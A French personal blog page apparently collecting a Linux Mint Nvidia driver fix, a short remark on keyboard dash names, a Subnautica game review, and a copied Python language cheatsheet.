Active graphics card Unknown after upgrade to Linux Mint 18 - Unix & Linux Stack Exchange

Si vous avez plusieurs moniteurs sous linux mint et qu'un beau jour, il n'y en a qu'un qui s'allume et qu'il est marqué comme inconnu, c'est peut-être votre pilote Nvidia qui a chié dans la colle.



sudo apt-get purge bumblebee*
sudo apt-get purge bbswitch*
sudo apt-get purge nvidia*
sudo apt-get --purge autoremove


Redémarrez pis voilà.

De rien

Liste à puce des raisons pour lesquelles vous devez arrêter de dire « tiret du 6 » ou « tiret du 8 » - Tech - Numerama

Les jeunes n’ont jamais vu un clavier physique Windows Azerty de leur vie à part sur les vieux Compaq de la salle de technologies du collège : pensez-y

Amen



Subnautica, moi, je dis, il est bien.

En ce moment, je joue à subnautica et je dois bien admettre que j'adore m'y plonger

alt

Il y a pléthore de tests, d'avis etc sur le jeu, donc je me contenterai juste de dire pourquoi il me semble aussi bien:

  1. Il est beau: non, mais vraiment beau. Pas dans le sens hyperréaliste qu'on a l'impression d'être mouillé quand on joue, mais beau comme coloré et poétique... à mon sens, un jeu n'a pas à être photoréaliste, il doit faire marcher l'imagination... et là, c'est jackpot. Les créatures sont belles, recherchées, souvent mignonnes (à part ces saloperies d'araignées à 4 pattes inspirées à n'en pas douter d'Half life), l'ambiance sonore est magnifique... que du bon.
  2. Il est globalement non violent: ici, pas de tchac tchac poutm poum, pas de gros motherfucking guns, pas d'explosifs... il y a très peu d'armes et elles sont non létales pour la plupart des créatures.
  3. la difficulté est très bien dosée: on ne se décourage jamais mais on apprend à être prudent quand même.
  4. le monde n'est pas foncièrement agressif - bonne leçon de vie - mais il ne vous pardonnera jamais certaines erreurs.
  5. Vous sentez que jamais vous n'êtes chez vous: on n'a pas une mentalité de conquérant, mais de survivant, et ça, ben j'aime.
  6. la progression est très bien dosée aussi: le système de blueprints n'est pas nouveau, mais la façon de se les procurer est originale et vous pousse à fouiller les épaves dans l'espoir de trouver toutes les pièces. On voit de plus que la progression technologique est très bien pensée: le joueur est rarement bloqué dans ses découvertes mais on entretient l'envie de trouver des nouvelles choses.
  7. il y a des cheatcodes simples: si, si, je mets ça dans les points positifs et j'explique. Quand on a peu de temps pour jouer, ça fait parfois chmir de se retaper trois bornes à la nage pour miner deux diamants où tout paumer parce qu'on s'est fait buter sans avoir sauvegardé. Dans ce cas, F3, Entrée et hop, on a une série de commandes pour se sortir de la mouise et ne pas perdre des heures de jeu. Bien entendu, je déconseille d'utiliser les cheats pour débloquer des trucs qu'on n'a pas découvert... ça démolit l'intérêt du jeu.
  8. il y a un mode créatif, comme dans minecraft... ajouté au fait que c'est non violent par principe, ça fait un excellent jeu pour des petits (mon môme de huit ans adore !)
  9. ça a beau être openworld, il y a quand-même un scénar. Discret, logique, pas trop directif et bien mené.
  10. c'est un jeu calme...
  11. j'adore qu'on me souhaite la bienvenue en m'appelant «cap'tain». Oui.
  12. le système de craft est bien pensé aussi: on a besoin d'appareils différents selon ce qu'on doit réaliser: un pour les ingrédients et petits objets quotidiens, un pour améliorer les objets, un pour les véhicules, un pour les meubles/bâtiments... ça a l'air compliqué, mais en fait c'est logique et ça évite les menus surchargés dans une seule interface
  13. le crafting des bâtiments/objets est simplifié pour que ce soit un plaisir de construire (ici, on est loin du cauchemar du craft à la Fallout 4 ). Les éléments qui doivent se connecter se connectent pis c'est marre.
  14. les commandes sont simples et bien pensées: les mêmes boutons produisent les mêmes actions. point.
  15. les véhicules sont chouettes et le mode de pilotage est différent si c'est un petit véhicule ou un gros. Je vous laisse découvrir mais ça m'amène au dernier point
  16. il y a une excellent immersion -re gag- dans ce jeu: le pilotage du gros submersible est juste... parfait.

Si vous avez des envies de commentaire, c'est par là...

Comprehensive Python Cheatsheet

Je me copie-colle ici pour mémoire: c'est tellement bien fait !

Comprehensive Python Cheatsheet

Download text file or Fork me on GitHub.

Monty Python

Main

if __name__ == '__main__':
    main()

List

<list> = <list>[from_inclusive : to_exclusive : step_size]
<list>.append(<el>)
<list>.extend(<collection>)
<list> += [<el>]
<list> += <collection>
<list>.sort()
<list>.reverse()
<list> = sorted(<collection>)
<iter> = reversed(<list>)
sum_of_elements  = sum(<collection>)
elementwise_sum  = [sum(pair) for pair in zip(list_a, list_b)]
sorted_by_second = sorted(<collection>, key=lambda el: el[1])
sorted_by_both   = sorted(<collection>, key=lambda el: (el[1], el[0]))
flattened_list   = list(itertools.chain.from_iterable(<list>))
list_of_chars    = list(<str>)
product_of_elems = functools.reduce(lambda out, x: out * x, <collection>)
no_duplicates    = list(dict.fromkeys(<list>))
index = <list>.index(<el>)  # Returns first index of item. 
<list>.insert(index, <el>)  # Inserts item at index and moves the rest to the right.
<el> = <list>.pop([index])  # Removes and returns item at index or from the end.
<list>.remove(<el>)         # Removes first occurrence of item.
<list>.clear()              # Removes all items.   

Dictionary

<view> = <dict>.keys()
<view> = <dict>.values()
<view> = <dict>.items()
value  = <dict>.get(key, default)            # Returns default if key does not exist.
value  = <dict>.setdefault(key, default)     # Same, but also adds default to dict.
<dict> = collections.defaultdict(<type>)     # Creates a dictionary with default value of type.
<dict> = collections.defaultdict(lambda: 1)  # Creates a dictionary with default value 1.
<dict>.update(<dict>)                        # Or: dict_a = {**dict_a, **dict_b}.
<dict> = dict(<list>)                        # Initiates a dict from list of key-value pairs.
<dict> = dict(zip(keys, values))             # Initiates a dict from two lists.
<dict> = dict.fromkeys(keys [, value])       # Initiates a dict from list of keys.
value = <dict>.pop(key)                         # Removes item from dictionary.
{k: v for k, v in <dict>.items() if k in keys}  # Filters dictionary by keys.

Counter

>>> from collections import Counter
>>> colors = ['blue', 'red', 'blue', 'yellow', 'blue', 'red']
>>> counter = Counter(colors)
Counter({'blue': 3, 'red': 2, 'yellow': 1})
>>> counter.most_common()[0][0]
'blue'

Set

<set> = set()
<set>.add(<el>)
<set>.update(<collection>)
<set> |= {<el>}
<set> |= <set>
<set>  = <set>.union(<coll.>)                 # Or: <set> | <set>
<set>  = <set>.intersection(<coll.>)          # Or: <set> & <set>
<set>  = <set>.difference(<coll.>)            # Or: <set> - <set>
<set>  = <set>.symmetric_difference(<coll.>)  # Or: <set> ^ <set>
<bool> = <set>.issubset(<coll.>)              # Or: <set> <= <set>
<bool> = <set>.issuperset(<coll.>)            # Or: <set> >= <set>
<set>.remove(<el>)   # Throws error.
<set>.discard(<el>)  # Doesn't throw error.

Frozenset

Is hashable and can be used as a key in dictionary.

<frozenset> = frozenset(<collection>)

Range

range(to_exclusive)
range(from_inclusive, to_exclusive)
range(from_inclusive, to_exclusive, step_size)
range(from_inclusive, to_exclusive, -step_size)
from_inclusive = <range>.start
to_exclusive   = <range>.stop

Enumerate

for i, el in enumerate(<collection> [, i_start]):
    ...

Named Tuple

>>> Point = collections.namedtuple('Point', 'x y')
>>> p = Point(1, y=2)
Point(x=1, y=2)
>>> p[0]
1
>>> p.x
1
>>> getattr(p, 'y')
2
>>> p._fields  # Or: Point._fields
('x', 'y')

Iterator

<iter> = iter(<collection>)
<iter> = iter(<function>, to_exclusive)

Skips first element:

next(<iter>)
for element in <iter>:
    ...

Reads input until it reaches an empty line:

for line in iter(input, ''):
    ...

Same, but prints a message every time:

from functools import partial
for line in iter(partial(input, 'Please enter value: '), ''):
    ...

Generator

Convenient way to implement the iterator protocol.

def step(start, step_size):
    while True:
        yield start
        start += step_size
>>> stepper = step(10, 2)
>>> next(stepper), next(stepper), next(stepper)
(10, 12, 14)

Type

<type> = type(<el>)  # <class 'int'> / <class 'str'> / ...
from numbers import Number, Integral, Real, Rational, Complex
<bool> = isinstance(<el>, Number)
<bool> = callable(<el>)

String

<str>  = <str>.strip()           # Strips all whitespace characters.
<str>  = <str>.strip('<chars>')  # Strips all passed characters.
<list> = <str>.split()                       # Splits on any whitespace character.
<list> = <str>.split(sep=None, maxsplit=-1)  # Splits on 'sep' str at most 'maxsplit' times.
<str>  = <str>.join(<list>)                  # Joins elements using string as separator.
<str>  = <str>.replace(old_str, new_str)
<bool> = <str>.startswith(<sub_str>)      # Pass tuple of strings for multiple options.
<bool> = <str>.endswith(<sub_str>)        # Pass tuple of strings for multiple options.
<int>  = <str>.index(<sub_str>)           # Returns first index of a substring.
<bool> = <str>.isnumeric()                # True if str contains only numeric characters.
<list> = textwrap.wrap(<str>, width)      # Nicely breaks string into lines.

Char

<str> = chr(<int>)  # Converts int to unicode char.
<int> = ord(<str>)  # Converts unicode char to int.
>>> ord('0'), ord('9')
(48, 57)
>>> ord('A'), ord('Z')
(65, 90)
>>> ord('a'), ord('z')
(97, 122)

Regex

import re
<str>   = re.sub(<regex>, new, text, count=0)  # Substitutes all occurrences.
<list>  = re.findall(<regex>, text)            # Returns all occurrences.
<list>  = re.split(<regex>, text, maxsplit=0)  # Use brackets in regex to keep the matches.
<Match> = re.search(<regex>, text)             # Searches for first occurrence of pattern.
<Match> = re.match(<regex>, text)              # Searches only at the beginning of the text.
<iter>  = re.finditer(<regex>, text)           # Returns all occurrences as match objects.
  • Parameter 'flags=re.IGNORECASE' can be used with all functions.
  • Parameter 'flags=re.DOTALL' makes dot also accept newline.
  • Use r'\1' or '\\\\1' for backreference.
  • Use '?' to make operators non-greedy.

Match Object

<str>   = <Match>.group()   # Whole match.
<str>   = <Match>.group(1)  # Part in first bracket.
<tuple> = <Match>.groups()  # All bracketed parts.
<int>   = <Match>.start()   # Start index of a match.
<int>   = <Match>.end()     # Exclusive end index of a match.

Special Sequences

Use capital letter for negation.

'\d' == '[0-9]'          # Digit
'\s' == '[ \t\n\r\f\v]'  # Whitespace
'\w' == '[a-zA-Z0-9_]'   # Alphanumeric

Format

<str> = f'{<el_1>}, {<el_2>}'
<str> = '{}, {}'.format(<el_1>, <el_2>)
>>> Person = namedtuple('Person', 'name height')
>>> person = Person('Jean-Luc', 187)
>>> f'{person.height:10}'
'       187'
>>> '{p.height:10}'.format(p=person)
'       187'

General Options

{<el>:<10}       # '<el>      '
{<el>:>10}       # '      <el>'
{<el>:^10}       # '   <el>   '
{<el>:->10}      # '------<el>'
{<el>:>0}        # '<el>'

String Options

'!r' calls object's repr() method, instead of format(), to get a string.

{'abcde'!r:<10}  # "'abcde'   "
{'abcde':.3}     # 'abc'
{'abcde':10.3}   # 'abc       '

Number Options

{1.23456:.3f}    # '1.235'
{1.23456:10.3f}  # '     1.235'
{ 123456:10,}    # '   123,456'
{ 123456:10_}    # '   123_456'
{ 123456:+10}    # '   +123456'
{-123456:=10}    # '-   123456'
{ 123456: }      # ' 123456'
{-123456: }      # '-123456'
{65:c}           # 'A'
{3:08b}          # '00000011' -> Binary with leading zeros.
{3:0<8b}         # '11000000' -> Binary with trailing zeros.

Float presentation types:

  • 'f' - Fixed point: .<precision>f
  • '%' - Percent: .<precision>%
  • 'e' - Exponent

Integer presentation types:

  • 'c' - character
  • 'b' - binary
  • 'x' - hex
  • 'X' - HEX

Numbers

Basic Functions

<num>  = pow(<num>, <num>)  # Or: <num> ** <num>
<real> = abs(<num>)
<real> = round(<real> [, ndigits])

Constants

from math import e, pi

Trigonometry

from math import cos, acos, sin, asin, tan, atan, degrees, radians

Logarithm

from math import log, log10, log2
<float> = log(<real> [, base])  # Base e, if not specified.

Infinity, nan

from math import inf, nan, isinf, isnan

Or:

float('inf'), float('nan')

Random

from random import random, randint, choice, shuffle
<float> = random()
<int>   = randint(from_inclusive, to_inclusive)
<el>    = choice(<list>)
shuffle(<list>)

Datetime

from datetime import datetime, strptime
now = datetime.now()
now.month                     # 3
now.strftime('%Y%m%d')        # '20180315'
now.strftime('%Y%m%d%H%M%S')  # '20180315002834'
<datetime> = strptime('2015-05-12 00:39', '%Y-%m-%d %H:%M')

Arguments

*`''` is the splat operator, that takes a list as input, and expands it into actual positional arguments in the function call.**

args   = (1, 2)
kwargs = {'x': 3, 'y': 4, 'z': 5}
func(*args, **kwargs)  

Is the same as:

func(1, 2, x=3, y=4, z=5)

Splat operator can also be used in function declarations:

def add(*a):
    return sum(a)
>>> add(1, 2, 3)
6

And in few other places:

>>> a = (1, 2, 3)
>>> [*a]
[1, 2, 3]
>>> head, *body, tail = [1, 2, 3, 4]
>>> body
[2, 3]

Inline

Lambda

lambda: <return_value>
lambda <argument_1>, <argument_2>: <return_value>

Comprehension

<list> = [i+1 for i in range(10)]         # [1, 2, ..., 10]
<set>  = {i for i in range(10) if i > 5}  # {6, 7, 8, 9}
<dict> = {i: i*2 for i in range(10)}      # {0: 0, 1: 2, ..., 9: 18}
<iter> = (i+5 for i in range(10))         # (5, 6, ..., 14)
out = [i+j for i in range(10) for j in range(10)]

Is the same as:

out = []
for i in range(10):
    for j in range(10):
        out.append(i+j)

Map, Filter, Reduce

from functools import reduce
<iter> = map(lambda x: x + 1, range(10))            # (1, 2, ..., 10)
<iter> = filter(lambda x: x > 5, range(10))         # (6, 7, 8, 9)
<int>  = reduce(lambda out, x: out + x, range(10))  # 45

Any, All

<bool> = any(<collection>)                  # False if empty.
<bool> = all(el[1] for el in <collection>)  # True if empty.

If - Else

<expression_if_true> if <condition> else <expression_if_false>
>>> [a if a else 'zero' for a in (0, 1, 0, 3)]
['zero', 1, 'zero', 3]

Namedtuple, Enum, Class

from collections import namedtuple
Point     = namedtuple('Point', 'x y')
point     = Point(0, 0)
from enum import Enum
Direction = Enum('Direction', 'n e s w')
Cutlery   = Enum('Cutlery', {'fork': 1, 'knife': 2, 'spoon': 3})
# Warning: Objects will share the objects that are initialized in the dictionary!
Creature  = type('Creature', (), {'p': Point(0, 0), 'd': Direction.n})
creature  = Creature()

Closure

We have a closure in Python when:

  • A nested function references a value of its enclosing function and then
  • the enclosing function returns the nested function.
def get_multiplier(a):
    def out(b):
        return a * b
    return out
>>> multiply_by_3 = get_multiplier(3)
>>> multiply_by_3(10)
30
  • If multiple nested functions within enclosing function reference the same value, that value gets shared.
  • To dynamicaly acces functions first free variable use '<function>.__closure__[0].cell_contents'.

Or:

from functools import partial
<function> = partial(<function>, <argument_1> [, <argument_2>, ...])
>>> multiply_by_3 = partial(operator.mul, 3)
>>> multiply_by_3(10)
30

Nonlocal

If variable is assigned to anywhere in the scope, it is regarded as a local variable, unless it is declared as global or nonlocal.

def get_counter():
    a = 0
    def out():
        nonlocal a
        a += 1
        return a
    return out
>>> counter = get_counter()
>>> counter(), counter(), counter()
(1, 2, 3)

Decorator

A decorator takes a function, adds some functionality and returns it.

@decorator_name
def function_that_gets_passed_to_decorator():
    ...

Debugger Example

Decorator that prints function's name every time it gets called.

from functools import wraps

def debug(func):
    @wraps(func)
    def out(*args, **kwargs):
        print(func.__name__)
        return func(*args, **kwargs)
    return out

@debug
def add(x, y):
    return x + y
  • Wraps is a helper decorator that copies metadata of function add() to function out().
  • Without it 'add.__name__' would return 'out'.

LRU Cache

Decorator that caches function's return values. All function's arguments must be hashable.

from functools import lru_cache

@lru_cache(maxsize=None)
def fib(n):
    return n if n < 2 else fib(n-1) + fib(n-2)
>>> [fib(n) for n in range(10)]
[0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
>>> fib.cache_info()
CacheInfo(hits=16, misses=10, maxsize=None, currsize=10)

Parametrized Decorator

from functools import wraps

def debug(print_result=False):
    def decorator(func):
        @wraps(func)
        def out(*args, **kwargs):
            result = func(*args, **kwargs)
            print(func.__name__, result if print_result else '')
            return result
        return out
    return decorator

@debug(print_result=True)
def add(x, y):
    return x + y

Class

class <name>:
    def __init__(self, a):
        self.a = a
    def __repr__(self):
        class_name = type(self).__name__
        return f'{class_name}({self.a!r})'
    def __str__(self):
        return str(self.a)

    @classmethod
    def get_class_name(cls):
        return cls.__name__

Constructor Overloading

class <name>:
    def __init__(self, a=None):
        self.a = a

Inheritance

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age  = age

class Employee(Person):
    def __init__(self, name, age, staff_num):
        super().__init__(name, age)
        self.staff_num = staff_num

Comparable

  • If eq() method is not overridden, it returns 'id(self) == id(other)', which is the same as 'self is other'.
  • That means all objects compare not equal by default.
class MyComparable:
    def __init__(self, a):
        self.a = a
    def __eq__(self, other):
        if isinstance(other, type(self)):
            return self.a == other.a
        return False 

Hashable

  • Hashable object needs both hash() and eq() methods and it's hash value should never change.
  • Hashable objects that compare equal must have the same hash value, meaning default hash() that returns 'id(self)' will not do.
  • That is why Python automatically makes classes unhashable if you only implement eq().
class MyHashable:
    def __init__(self, a):
        self.__a = copy.deepcopy(a)
    @property
    def a(self):
        return self.__a
    def __eq__(self, other):
        if isinstance(other, type(self)):
            return self.a == other.a
        return False 
    def __hash__(self):
        return hash(self.a)

Sequence

  • Methods do not depend on each other, so they can be skipped if not needed.
  • Any object with defined getitem() is considered iterable, even if it lacks iter().
    class MySequence:
      def __init__(self, a):
          self.a = a
      def __len__(self):
          return len(self.a)
      def __getitem__(self, i):
          return self.a[i]
      def __iter__(self):
          for el in self.a:
              yield el

Callable

class Counter:
    def __init__(self):
        self.a = 0
    def __call__(self):
        self.a += 1
        return self.a

Copy

from copy import copy, deepcopy
<object> = copy(<object>)
<object> = deepcopy(<object>)

Enum

from enum import Enum, auto

class <enum_name>(Enum):
    <member_name_1> = <value_1>  
    <member_name_2> = <value_2_a>, <value_2_b>
    <member_name_3> = auto()

    @classmethod
    def get_member_names(cls):
        return [a.name for a in cls.__members__.values()]
<member> = <enum>.<member_name>
<member> = <enum>['<member_name>']
<member> = <enum>(<value>)
name     = <member>.name
value    = <member>.value
list_of_members = list(<enum>)
member_names    = [a.name for a in <enum>]
member_values   = [a.value for a in <enum>]
random_member   = random.choice(list(<enum>))

Inline

Cutlery = Enum('Cutlery', ['fork', 'knife', 'spoon'])
Cutlery = Enum('Cutlery', 'fork knife spoon')
Cutlery = Enum('Cutlery', {'fork': 1, 'knife': 2, 'spoon': 3})

Functions can not be values, so they must be wrapped:

from functools import partial
LogicOp = Enum('LogicOp', {'AND': partial(lambda l, r: l and r),
                           'OR' : partial(lambda l, r: l or r)})

Exceptions

while True:
    try:
        x = int(input('Please enter a number: '))
    except ValueError:
        print('<img class="smile normal" src="http://www.warriordudimanche.net/plugins/WDD_replace/img/normal/omg.png"/>ps!  That was no valid number.  Try again...')
    else:
        print('Thank you.')
        break

Raising exception:

raise ValueError('A very specific message!')

Finally

>>> try:
...     raise KeyboardInterrupt
... finally:
...     print('Goodbye, world!')
Goodbye, world!
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
KeyboardInterrupt

System

Command Line Arguments

import sys
script_name = sys.argv[0]
arguments   = sys.argv[1:]

Print Function

print(<el_1>, ..., sep=' ', end='\n', file=sys.stdout, flush=False)
  • Use 'file=sys.stderr' for errors.

Pretty print:

>>> from pprint import pprint
>>> pprint(dir())
['__annotations__',
 '__builtins__',
 '__doc__', ...]

Input Function

  • Reads a line from user input or pipe if present.
  • The trailing newline gets stripped.
  • The prompt string is printed to standard output before reading input.
<str> = input(prompt=None)

Prints lines until EOF:

while True:
    try:
        print(input())
    except EOFError:
        break

Open Function

Opens file and returns a corresponding file object.

<file> = open(<path>, mode='r', encoding=None)

Modes:

  • 'r' - Read (default).
  • 'w' - Write (truncate).
  • 'x' - Write or fail if the file already exists.
  • 'a' - Append.
  • 'w+' - Read and write (truncate).
  • 'r+' - Read and write from the beginning.
  • 'a+' - Read and write from the end.
  • 'b' - Binary mode.
  • 't' - Text mode (default).

Read Text from File:

def read_file(filename):
    with open(filename, encoding='utf-8') as file:
        return file.readlines()

Write Text to File:

def write_to_file(filename, text):
    with open(filename, 'w', encoding='utf-8') as file:
        file.write(text)

Path

from os import path, listdir
<bool> = path.exists(<path>)
<bool> = path.isfile(<path>)
<bool> = path.isdir(<path>)
<list> = listdir(<path>)
>>> from glob import glob
>>> glob('../*.gif')
['1.gif', 'card.gif']

Command Execution

import os
<str> = os.popen(<command>).read()

Or:

>>> import subprocess
>>> a = subprocess.run(['ls', '-a'], stdout=subprocess.PIPE)
>>> a.stdout
b'.\n..\nfile1.txt\nfile2.txt\n'
>>> a.returncode
0

Recursion Limit

>>> import sys
>>> sys.getrecursionlimit()
1000
>>> sys.setrecursionlimit(5000)

JSON

import json
<str>    = json.dumps(<object>, ensure_ascii=True, indent=None)
<object> = json.loads(<str>)

To preserve order:

from collections import OrderedDict
<object> = json.loads(<str>, object_pairs_hook=OrderedDict)

Read File

def read_json_file(filename):
    with open(filename, encoding='utf-8') as file:
        return json.load(file)

Write to File

def write_to_json_file(filename, an_object):
    with open(filename, 'w', encoding='utf-8') as file:
        json.dump(an_object, file, ensure_ascii=False, indent=2)

Pickle

import pickle
<bytes>  = pickle.dumps(<object>)
<object> = pickle.loads(<bytes>)

Read Object from File

def read_pickle_file(filename):
    with open(filename, 'rb') as file:
        return pickle.load(file)

Write Object to File

def write_to_pickle_file(filename, an_object):
    with open(filename, 'wb') as file:
        pickle.dump(an_object, file)

SQLite

import sqlite3
db = sqlite3.connect(<filename>)
...
db.close()

Read

cursor = db.execute(<query>)
if cursor:
    <tuple> = cursor.fetchone()  # First row.
    <list>  = cursor.fetchall()  # Remaining rows.

Write

db.execute(<query>)
db.commit()

Bytes

Bytes object is immutable sequence of single bytes. Mutable version is called bytearray.

<bytes> = b'<str>'
<int>   = <bytes>[<index>]
<bytes> = <bytes>[<slice>]
<bytes> = b''.join(<coll_of_bytes>)

Encode

<bytes> = <str>.encode(encoding='utf-8')
<bytes> = <int>.to_bytes(length, byteorder='big|little', signed=False)
<bytes> = bytes.fromhex(<hex>)

Decode

<str>   = <bytes>.decode('utf-8') 
<int>   = int.from_bytes(<bytes>, byteorder='big|little', signed=False)
<hex>   = <bytes>.hex()

Read Bytes from File

def read_bytes(filename):
    with open(filename, 'rb') as file:
        return file.read()

Write Bytes to File

def write_bytes(filename, bytes_obj):
    with open(filename, 'wb') as file:
        file.write(bytes_obj)

Struct

  • Module that performs conversions between Python values and a C struct, represented as a Python bytes object.
  • Machine’s native type sizes and byte order are used by default.
from struct import pack, unpack, calcsize
<bytes> = pack('<format>', <value_1> [, <value_2>, ...])
<tuple> = unpack('<format>', <bytes>)

Example

>>> pack('>hhl', 1, 2, 3)
b'\x00\x01\x00\x02\x00\x00\x00\x03'
>>> unpack('>hhl', b'\x00\x01\x00\x02\x00\x00\x00\x03')
(1, 2, 3)
>>> calcsize('>hhl')
8

Format

For standard sizes start format string with:

  • '=' - native byte order
  • '<' - little-endian
  • '>' - big-endian

Use capital letter for unsigned type. Standard size in brackets:

  • 'x' - pad byte
  • 'c' - char (1)
  • 'h' - short (2)
  • 'i' - int (4)
  • 'l' - long (4)
  • 'q' - long long (8)
  • 'f' - float (4)
  • 'd' - double (8)

Array

List that can only hold elements of predefined type. Available types are listed above.

from array import array
<array> = array(<typecode> [, <collection>])

Deque

A thread-safe list with efficient appends and pops from either side. Pronounced “deck”.

from collections import deque
<deque> = deque(<collection>, maxlen=None)
<deque>.appendleft(<el>)
<deque>.extendleft(<collection>)  # Collection gets reversed.
<el> = <deque>.popleft()
<deque>.rotate(n=1)               # Rotates elements to the right.

Threading

from threading import Thread, RLock

Thread

thread = Thread(target=<function>, args=(<first_arg>, ))
thread.start()
...
thread.join()

Lock

lock = RLock()
lock.acquire()
...
lock.release()

Hashlib

>>> import hashlib
>>> hashlib.md5(<str>.encode()).hexdigest()
'33d0eba106da4d3ebca17fcd3f4c3d77'

Itertools

  • Every function returns an iterator and can accept any collection and/or iterator.
  • If you want to print the iterator, you need to pass it to the list() function!
from itertools import *

Combinatoric iterators

>>> combinations('abc', 2)
[('a', 'b'), ('a', 'c'), ('b', 'c')]

>>> combinations_with_replacement('abc', 2)
[('a', 'a'), ('a', 'b'), ('a', 'c'), 
 ('b', 'b'), ('b', 'c'), 
 ('c', 'c')]

>>> permutations('abc', 2)
[('a', 'b'), ('a', 'c'), 
 ('b', 'a'), ('b', 'c'), 
 ('c', 'a'), ('c', 'b')]

>>> product('ab', [1, 2])
[('a', 1), ('a', 2), 
 ('b', 1), ('b', 2)]

>>> product([0, 1], repeat=3)
[(0, 0, 0), (0, 0, 1), (0, 1, 0), (0, 1, 1), 
 (1, 0, 0), (1, 0, 1), (1, 1, 0), (1, 1, 1)]

Infinite iterators

>>> i = count(5, 2)
>>> next(i), next(i), next(i)
(5, 7, 9)

>>> a = cycle('abc')
>>> [next(a) for _ in range(10)]
['a', 'b', 'c', 'a', 'b', 'c', 'a', 'b', 'c', 'a']

>>> repeat(10, 3)
[10, 10, 10]

Iterators

>>> chain([1, 2], range(3, 5))
[1, 2, 3, 4]

>>> compress('abc', [True, 0, 1])
['a', 'c']

>>> # islice(<collection>, from_inclusive, to_exclusive) 
>>> islice([1, 2, 3], 1, None)
[2, 3]

>>> people = [{'id': 1, 'name': 'Bob'}, 
              {'id': 2, 'name': 'Bob'}, 
              {'id': 3, 'name': 'Peter'}]
>>> groups = groupby(people, key=lambda a: a['name'])
>>> {name: list(group) for name, group in groups}
{'Bob':   [{'id': 1, 'name': 'Bob'}, 
           {'id': 2, 'name': 'Bob'}], 
 'Peter': [{'id': 3, 'name': 'Peter'}]}

Introspection and Metaprograming

Inspecting code at runtime and code that generates code. You can:

  • Look at the attributes
  • Set new attributes
  • Create functions dynamically
  • Traverse the parent classes
  • Change values in the class

Variables

<list> = dir()      # Names of in-scope variables.
<dict> = locals()   # Dict of local variables. Also vars().
<dict> = globals()  # Dict of global variables.

Attributes

class Z:
    def __init__(self):
        self.a = 'abcde'
        self.b = 12345
>>> z = Z()

>>> vars(z)
{'a': 'abcde', 'b': 12345}

>>> getattr(z, 'a')
'abcde'

>>> hasattr(z, 'c')
False

>>> setattr(z, 'c', 10)

Parameters

from inspect import signature
sig          = signature(<function>)
no_of_params = len(sig.parameters)
param_names  = list(sig.parameters.keys())

Type

Type is the root class. If only passed the object it returns it's type. Otherwise it creates a new class (and not the instance!).

type(<class_name>, <parents_tuple>, <attributes_dict>)
>>> Z = type('Z', (), {'a': 'abcde', 'b': 12345})
>>> z = Z()

Meta Class

Class that creates class.

def my_meta_class(name, parents, attrs):
    attrs['a'] = 'abcde'
    return type(name, parents, attrs)

Or:

class MyMetaClass(type):
    def __new__(cls, name, parents, attrs):
        attrs['a'] = 'abcde'
        return type.__new__(cls, name, parents, attrs)

Metaclass Attribute

When class is created it checks if it has metaclass defined. If not, it recursively checks if any of his parents has it defined and eventually comes to type.

class MyClass(metaclass=MyMetaClass):
    def __init__(self):
        self.b = 12345

Operator

from operator import add, sub, mul, truediv, floordiv, mod, pow, neg, abs, \
                     eq, ne, lt, le, gt, ge, \
                     not_, and_, or_, \
                     itemgetter, attrgetter, methodcaller
import operator as op
product_of_elems = functools.reduce(op.mul, <list>)
sorted_by_second = sorted(<list>, key=op.itemgetter(1))
sorted_by_both   = sorted(<list>, key=op.itemgetter(1, 0))
LogicOp          = enum.Enum('LogicOp', {'AND': op.and_, 'OR' : op.or_})
last_el          = op.methodcaller('pop')(<list>)

Eval

Basic

>>> from ast import literal_eval
>>> literal_eval('1 + 2')
3
>>> literal_eval('[1, 2, 3]')
[1, 2, 3]
>>> ast.literal_eval('abs(1)')
ValueError: malformed node or string

Using Abstract Syntax Trees

import ast
from ast import Num, BinOp, UnaryOp
import operator as op

legal_operators = {ast.Add:    op.add, 
                   ast.Sub:    op.sub, 
                   ast.Mult:   op.mul,
                   ast.Div:    op.truediv, 
                   ast.Pow:    op.pow, 
                   ast.BitXor: op.xor,
                   ast.USub:   op.neg}

def evaluate(expression):
    root = ast.parse(expression, mode='eval')
    return eval_node(root.body)

def eval_node(node):
    node_type = type(node)
    if node_type == Num:
        return node.n
    if node_type not in [BinOp, UnaryOp]:
        raise TypeError(node)
    operator_type = type(node.op)
    if operator_type not in legal_operators:
        raise TypeError(f'Illegal operator {node.op}')
    operator = legal_operators[operator_type]
    if node_type == BinOp:
        left, right = eval_node(node.left), eval_node(node.right)
        return operator(left, right)
    elif node_type == UnaryOp:
        operand = eval_node(node.operand)
        return operator(operand)
>>> evaluate('2 ^ 6')
4
>>> evaluate('2 ** 6')
64
>>> evaluate('1 + 2 * 3 ** (4 ^ 5) / (6 + -7)')
-5.0

Coroutine

  • Similar to Generator, but Generator pulls data through the pipe with iteration, while Coroutine pushes data into the pipeline with send().
  • Coroutines provide more powerful data routing possibilities than iterators.
  • If you built a collection of simple data processing components, you can glue them together into complex arrangements of pipes, branches, merging, etc.

Helper Decorator

  • All coroutines must be "primed" by first calling next().
  • Remembering to call next() is easy to forget.
  • Solved by wrapping coroutines with a decorator:
def coroutine(func):
    def out(*args, **kwargs):
        cr = func(*args, **kwargs)
        next(cr)
        return cr
    return out

Pipeline Example

def reader(target):
    for i in range(10):
        target.send(i)
    target.close()

@coroutine
def adder(target):
    while True:
        item = (yield)
        target.send(item + 100)

@coroutine
def printer():
    while True:
        item = (yield)
        print(item)

reader(adder(printer()))  # 100, 101, ..., 109



Libraries

Progress Bar

# $ pip3 install tqdm
from tqdm import tqdm
from time import sleep
for i in tqdm([1, 2, 3]):
    sleep(0.2)
for i in tqdm(range(100)):
    sleep(0.02)

Plot

# $ pip3 install matplotlib
from matplotlib import pyplot
pyplot.plot(<data_1> [, <data_2>, ...])
pyplot.savefig(<filename>, transparent=True)
pyplot.show()

Argparse

from argparse import ArgumentParser
desc   = 'calculate X to the power of Y'
parser = ArgumentParser(description=desc)
group  = parser.add_mutually_exclusive_group()
group.add_argument('-v', '--verbose', action='store_true')
group.add_argument('-q', '--quiet',   action='store_true')
parser.add_argument('x', type=int, help='the base')
parser.add_argument('y', type=int, help='the exponent')
args   = parser.parse_args()
answer = args.x ** args.y

if args.quiet:
    print(answer)
elif args.verbose:
    print(f'{args.x} to the power {args.y} equals {answer}')
else:
    print(f'{args.x}^{args.y} == {answer}')

Table

Prints CSV file as ASCII table:

# $ pip3 install tabulate
import csv
from tabulate import tabulate
with open(<filename>, encoding='utf-8') as file:
    lines   = csv.reader(file, delimiter=';')
